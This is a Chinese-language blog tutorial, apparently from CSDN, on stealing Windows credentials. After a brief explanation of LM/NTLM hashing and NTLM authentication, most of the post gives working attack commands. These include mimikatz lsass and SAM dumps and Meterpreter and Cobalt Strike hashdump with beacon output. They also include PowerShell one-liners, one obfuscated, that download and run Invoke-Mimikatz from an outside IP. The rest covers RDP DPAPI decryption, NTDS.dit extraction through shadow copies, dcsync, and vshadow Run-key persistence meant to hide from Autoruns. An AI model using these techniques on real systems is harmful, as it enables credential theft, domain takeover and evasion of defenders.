Windows密码凭证获取

Windows HASH

HASH简介

hash ,一般翻译做散列,或音译为哈希,所谓哈希,就是使用一种加密函数进行计算后的结果。这个
加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相
同的输出,所以不可能从散列值来确定唯一的输入值。简单的说就是一种将任意长度的消息压缩到某一
固定长度的消息摘要的函数。

windows HASH简介

Windows 加密过的密码口令,我们称之为 hash
Windows 系统使用两种方法对用户的密码进行哈希处理,它们分别是 LAN ManagerLM哈希和 NT
LAN ManagerNTLM哈希。
现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。

LM-HASH

LM-HASH简介

LAN ManagerLM)哈希是Windows系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
它只有唯一一个版本且一直用到了 NT LAN ManagerNTLM哈希的出现,
Windows XP / Windows Server 2003 之前, 它是Windows上占主导地位的密码存储算法。
Windows Vista / Windows Server 2008 开始,默认情况下已禁用该算法。
LM 算法是在 DES 基础上实现的,不区分字母大小写。

LM-HASH生成原理

假设用户密码为:password
1. 将用户密码所有字符转换为大写: PASSWORD
2. 密码长度不足14个字符将用0填充到14个字符
3. 14个字符将被分成两半: PASSWOR D000000
4. 将每一半转换为位,并且每7位之后将添加一个奇偶校验位(0),因此结果为64位: 1101000011-> 1101000 0 011 ,在将这些奇偶校验位相加之后,我们将从两个预先生成的两半中获得两个密钥5. 分别用生成的两个密钥作为key KGS!@#$% 进行DES加密: PASSWOR =E52CAC67419A9A22
D000000 = 4A3B108F3FA6CB6D
6. 将加密后的两组拼接在一起,得到LM HASH值: E52CAC67419A9A22 4A3B108F3FA6CB6D
使用python得到LM HASH值:
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
   k = des(binascii.a2b_hex(Des_Key), ECB, pad=None)
   EncryptStr = k.encrypt(str)
   return binascii.b2a_hex(EncryptStr)
def group_just(length,text):
   # text 00110001001100100011001100110100001101010011011000000000
   text_area = re.findall(r'.{%d}' % int(length), text) # ['0011000',
'1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
   text_area_padding = [i + '0' for i in text_area] #['00110000', '10011000',
'10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
   hex_str = ''.join(text_area_padding) #
0011000010011000100011000110011001000010101010001101100000000000
   hex_int = hex(int(hex_str, 2))[2:].rstrip("L") #30988c6642a8d800
   if hex_int == '0':
       hex_int = '0000000000000000'
   return hex_int
def lm_hash(password):
   # 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
   pass_hex = password.upper().encode("hex").ljust(28,'0')
#3132333435360000000000000000
   print(pass_hex)
   # 2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足
使用0在左边补齐长度
   left_str = pass_hex[:14] #31323334353600
   right_str = pass_hex[14:] #00000000000000
   left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0') #
00110001001100100011001100110100001101010011011000000000
   right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0') #
00000000000000000000000000000000000000000000000000000000
   # 3. 再分7bit为一组,每组末尾加0,再组成一组
   left_stream = group_just(7,left_stream) # 30988c6642a8d800
   right_stream = group_just(7,right_stream) # 0000000000000000
   # 4. 上步骤得到的二组,分别作为key "KGS!@#$%"进行DES加密。
   left_lm = DesEncrypt('KGS!@#$%',left_stream) #44efce164ab921ca
   right_lm = DesEncrypt('KGS!@#$%',right_stream) # aad3b435b51404ee
   # 5. 将加密后的两组拼接在一起,得到最终LM HASH值。
   return left_lm + right_lm
if __name__ == '__main__':
   hash = lm_hash("123456")

LM-HASH缺点

1. 密码长度最大只能为14个字符
2. 密码不区分大小写
3. 如果密码强度是小于7位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee ,如果我们看到 lm hash 的结尾是 aad3b435b51404ee ,就可以很轻易的发现密码强度少于7
4. 一个14个字符的密码分成7+7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14 个字符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码的理论强度
5. DES密码强度不高

NTLM-HASH

NTLM-HASH简介

NT LAN ManagerNTLM哈希是Windows系统认可的另一种算法,用于替代古老的LM-Hash,一般指
Windows系统下 Security Account ManagerSAM中保存的用户密码hash,在 Windows
Vista/Windows 7/Windows Server 2008 以及后面的系统中,NTLM哈希算法默认启用。

NTLM-HASH生成原理

1. 先将用户密码转换为十六进制格式。
2. 将十六进制格式的密码进行 Unicode 编码。
3. 使用 MD4 摘要算法对 Unicode 编码数据进行 Hash 计算

HASH格式

Windows 的系统密码 hash 默认情况下一般由两部分组成:
第一部分是 LM-hash ,第二部分是 NTLM-hash 。
LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希
前面三个系统,当密码超过14位的时候会采用NTLM加密
前一部分是LM Hash,后一部分是NTLM Hash
python2 -c "import hashlib,binascii;print
binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
python3 -c "import
hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-
16le')).digest()).decode())"
用户名称:RID:LM-HASH:NTLM-HASH
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::LM HashAAD3B435B51404EEAAD3B435B51404EE 这表示 空密码或者是未使用LM_HASH

HASH存储位置

windows hash 一般存储在两个地方:
SAM 文件,存储在本机,对应本地用户
NTDS.DIT 文件,存储在域控上,对应域用户
文件位置:
SAM
C:\windows\system32\config\SAM
NTDS.DIT
C:\windows\NTDS\NTDS.dit

Windows认证基础

Windows的认证包括三个部分:
本地认证:用户直接操作计算机登录账户
网络认证:远程连接到工作组中的某个设备
域认证:登陆到域环境中的某个设备

Windows本地认证

1. 用户输入密码
2. 系统收到密码后将用户输入的密码计算成NTLM Hash
3. sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
4. 匹配则登陆成功,不匹配则登陆失败
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1. 协商

双方确定使用的协议版本, NTLM 存在V1V2两个版本,即 Net-NTLM v1 hash Net-NTLM v2
hash ,具体区别就是加密方式不同
NTLM 认证中, NTLM 响应分为 NTLM v1 NTLMv2 NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法
SAM
C:\windows\system32\config\SAM
NTDS.DIT
C:\windows\NTDS\NTDS.dit

2. 质询

挑战(Chalenge/ 响应(Response)认证机制的核心
1. 客户端向服务器端发送用户信息(用户名)请求
2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为" Challenge ", 然后使用登录用户名对应的 NTLM Hash 加密Challenge(16位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1 后,将 Challenge (16位随机字符)明文发送给客户端。
3. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。

3. 验证

在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证

net-ntlm hash破解

NTLMv2的格式为:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-mhash-type5600对应NetNTLMv2
详细参数可查表:https://hashcat.net/wiki/doku.php?
-o:输出文件 字典文件为/tmp/password.list
--force:代表强制执行,测试系统不支持Intel OpenCL

Windows密码凭证获取

系统用户凭证获取

mimikatz
mimikatz for Win10下载:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式凭证获取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
1.X
privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll   //注入 sekurlsa.dll lsass.exe 进程里
@getLogonPasswords     //获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.p
s1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.p
s1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mi
mikatz.ps1
Powershell本地加载mimikatz脚本:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "sekurlsa::logonPasswords full"'
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "token::elevate" "lsadump::sam"'
Powershell远程加载mimikatz脚本
powershell IEX (New-Object
Net.WebClient).DownloadString('http://47.101.214.85:8000/Invoke
Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject
Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'
.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke
Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell 加载 Get-PassHashes脚本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.p
s1
powershell IEX(new-object
net.webclient).downloadstring('http://47.101.214.85:8000/Get
PassHashes.ps1');Get-PassHashes

procdump+mimikatz

Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出:
For 32bits
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用 mimikatz 还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket
https://github.com/SecureAuthCorp/impacket/tree/master/examples

LaZagne

https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
# 如果提示找不到 Crypto 模块, 就到 pip包安装位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
crypto文件夹重命名为Crypto

Meterpreter获取Hash

Hashdump
use post/windows/gather/hashdump //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
Hash格式: 用户名称:RID:LM-HASH:NTLM-HASH
Mimikatz
Hashdump 使用的是 mimikatz 的部分功能
load mimikatz   //加载模块
wdigest kerberos msv ssp tspkg livessp   //获取用户密码的hash
mimikatz_command -h
mimikatz_command -f ::   //查询有哪些模块
mimikatz_command -f samdump::hashes   //windowssam文件中读取密码hash
mimikatz_command -f sekurlsa::searchPasswords   //获取明文密码
mimikatz_command -f samdump::bootkey
# msf6
load kiwi
help kiwi
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令

CobaltStrike获取Hash

beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

其他密码凭证获取

1 RDP连接密码解密

mimikatz
查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
/s
查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1E85A94EE31F584E484B8120E3ADA266
9D4E7B34E2541E8AB9F716D127DFFC87
AAAD88ECA44F5AAA1754B5E18F7EB12D
DFBE70A7E5CC19A398EBF1B96859CE5D
E05DBE15D38053457F3523A375594044
查看保存在本地的远程主机信息
cmdkey /list
选择一个密码文件对其进行解密。
此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey
privilege::debug
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
根据 guidMasterKey 找到对应的 Masterkey
sekurlsa::dpapi
通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5
bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
netpass
https://www.nirsoft.net/x64_download_package.html
https://www.nirsoft.net/packages/x64tools.zip nirsoft123!
Powershell脚本获取RDP连接记录
https://github.com/3gstudent/List-RDP-Connections-History.git
Cobaltstrike
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s
[*] Tasked beacon to run: reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
  UsernameHint   REG_SZ   MINGY\Administrator
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a
%userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目录
2020/09/04 13:24   <DIR>         .
2020/09/04 13:24   <DIR>         ..
2020/09/04 13:24               434 8CAC243098BA9DDD4EAB58433B85D7F0               1 个文件           434 字节
              2 个目录 56,959,107,072 可用字节
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
当前保存的凭据:
  目标: Domain:target=TERMSRV/10.10.10.6
  类型: 域密码
  用户: WIN7-1\administrator
  本地机器持续时间
   
  目标: LegacyGeneric:target=MINGY\WIN7-1
  类型: 普通
  用户: MINGY\WIN7-1
   
  目标: LegacyGeneric:target=WIN7-1\Administrator
  类型: 普通
  用户: WIN7-1\Administrator

2 Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径
来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件
读取权限后即可直接从数据库连接文件中读取
一般都包含有数据库类型,物理位置,用户名和密码等信息
1. MYSQL数据库文件类型
MYSQL数据库文件共有 frm MYD MYI 三种文件
".frm" 是描述表结构的文件
".MYD" 是表的数据文件
".MYI" 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中
与用户有关的一共有三个文件即 user.frm user.MYD user.MYI MYSQL数据库用户密码都保存
user.MYD 文件中,包括root用户和其他用户的密码。
2. Mysql加密方式
MYSQL数据库的认证密码有两种方式
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带 Old_Password(str) Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root')                         |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
mimikatz "privilege::debug" "dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433
B85D7F0" "exit"MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际
的密码运算中, MYSQLSHA1 加密的密码的实际位数是40
3. 获取Mysql数据库密码hash
winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4. Hash破解
在线网站破解
www.cmd5.com
www.somd5.com
hashcat破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
john the ripper破解
john --list=format | grep mysql
john --format=mysql-sha1 mysql.hash
Cain破解

3 其他应用程序密码破解

https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)
源码:
https://github.com/RowTeam/SharpDecryptPwd

域内密码凭证获取

Ntds.dit

活动目录数据库(NTDS.DIT
Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。
非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。
AD DS 数据存储:
Ntds.dit 文件构成
默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
只能通过域控制器进程和协议访问
Ntds.dit(也被称为Active Directory database)包含了当前域中所有的用户的账号信息,和其HASH值通过获取 Ntds.dit SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

1 活动目录数据库

NTDS.DIT 文件构成,是Active Directory的核心
存储在域控的 %SystemRoot%\ntds\ 文件夹下
只能通过域控制器进程和协议访问
在工作组环境中,SAM文件存储着当前主机用户的密码哈希值
在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值
因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。
Windows系统为了进一步保护存储的密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
因此想要破解SAM文件与NTDS.DIT文件都需要获取一个SYSTEM文件。
由于Window会阻止对这些文件的标准读取或复制操作,如果直接去复制NTDS.DIT文件,会提示文件被系统占用,所以常规的复制下载方法是无法获取到文件副本的,因此需要通过特殊方法来获取。

2 Volume Shadow Copy

Volume Shadow Copy Service
Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一
致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。
用于数据备份
支持 Windows Server 2003 及以上操作系统
系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备
份,该时间无法确定
禁用VSS会影响系统正常使用,如 System Restore Windows Server Backup
我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DITSAMSYSTEM 等文件副本。
注意:
1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志, Event ID 7036
2. 执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外产生 Event
ID 98 的日志
hash数量:所有用户
免杀:不需要
优点:
  获得信息全面
  简单高效
  无需下载ntds.dit,隐蔽性高

3 Ntdsutil

域环境默认安装
支持系统:
Server 2003
Server 2008
Server 2012

3.1 交互式

ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再执行
unmout [GUID]
del [GUID]
1. 以管理员身份打开命令提示符(cmd.exe
2. 在命令提示符输入 ntdsutil 命令
3. ntdsutil 提示符下输入
activate instance ntds
ifm
create full <Drive>:\<Folder>
<Drive>:\<Folder> 是要创建文件的文件夹路径。

3.2 非交互

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
3.2.1 查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

3.2.2 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid{daee5123-b284-47fe-b02e-6e67e8d80fb1}
3.2.3 挂载快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照挂载为 C:\$SNAP_201908291617_VOLUMEC$\
3.2.4 复制ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
3.2.5 卸载快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
3.2.6 删除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

4 Vssadmin

域环境默认安装
支持系统:
Server 2008
Server 2012

4.1 查询当前系统的快照

vssadmin list shadows

4.2 创建快照

vssadmin create shadow /for=c:

获得 Shadow Copy Volume Name \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

4.3 复制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit

4.4 删除快照

vssadmin delete shadows /for=c: /quiet

5 Vshadow

Vshadow ( vshadow.exe ) 是用于管理卷影副本的命令行实用程序。此工具包含在 Microsoft
Windows Software Development Kit (SDK) 中,有 Microsoft 签名。
Vshadow 有很多功能,包括执行脚本和调用命令以支持卷影快照管理的能力。

5.1 查询当前系统的快照

vshadow.exe -q

5.2 创建快照

vshadow.exe -p -nw C:
参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c
获得SnapshotSetIDSnapshotIDShadow copy device name

5.3 复制ntds.dit

copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit

5.4 删除快照

vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId

5.5 利用vshadow执行命令

参考:https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-ev
asion-persistence-and-active-directory-database-extraction/
Vshadow.exe 支持 -exec 参数,可用于执行二进制文件(.exe)或脚本(.bat/.cmd)。
-exec 参数不支持命令参数
要求:
管理员权限
上传 Vshadow.exe
上传攻击载荷
执行命令格式:vshadow.exe -nw -exec=<\path\to\exe> <系统驱动器>
-nw:允许我们在不调用卷影副本编写器的情况下创建卷影副本,实际上,这是一个非持久性卷影副本,不会留下“物理磁盘证据
执行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe
c:
[+] host called home, sent: 87 bytes
成功执行 Vshadow 将启动卷影服务 (VSS),如系统事件 ID 7036 所示,并调用 VSSVC.exe 进程。
执行后,后台存在进程 VSSVC.exe ,同时显示服务 Volume Shadow Copy 正在运行,需要手动关闭进程 VSSVC.exe
注:手动关闭进程 VSSVC.exe 会生成日志 7034

5.6 自启动持久化和规避

利用思路:
vshadow.exe 包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t
REG_EXPAND_SZ /d "C:\Program Files (x86)\Windows
Kits\10\bin\10.0.16299.0\x64\vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:"
AutoRuns 中,当过滤“Microsoft Entries”时,我们将不到我们的登录条目
但是,如果我们取消选择“Microsoft Entries”并启用“Windows Entries”,我们将看到我们的持久性机制的记录

6 NinjaCopy

下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltra
tion/Invoke-NinjaCopy.ps1
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
.\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
"C:\Users\Administrator\Desktop\ntds.dit"
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -
LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path
C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes
beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes没有调用 Volume Shadow Copy 服务,因此不会产生日志

7 解密NTDS.DIT文件

7.1 Mimikatz在线破解

在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。
有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权限Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
使用Mimikatzdcsync 功能,可以利用目录复制服务(Directory Replication Service, DRS)从
NTDS.DIT文件中提取密码哈希值。
在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。
获取mingy域内所有用户Hash
lsadump::dcsync /domain:mingy.com /all /csv
查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt
查看所有用户的详细信息
mimikatz lsadump::lsa /inject

7.2 离线破解

离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT SYSTEM 文件下载到本地,然后在本地进行破解。
QuarksPwDump
QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型
的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker
1. 修复复制出来的数据库
esentutl /p /o ntds.dit2. 使用QuarksPwDump直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit
SecretsDump
通过impacket套件中的secretsdump.py脚本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCALNtdsAudit
https://github.com/Dionach/NtdsAudit

8 扩展

1. 日志文件
调用 Volume Shadow Copy 服务会产生日志文件,位于System下, Event ID 7036
执行 ntdsutil snapshot "activate instance ntds" create quit quit 会额外产生 Event ID
98的日志文件
2. 访问快照中的文件
查看快照列表:
vssadmin list shadows
无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
删除符号链接:
rd c:\testvsc
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不知归期的迷途羔羊

生活不易,但愿极客精神与你同在

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

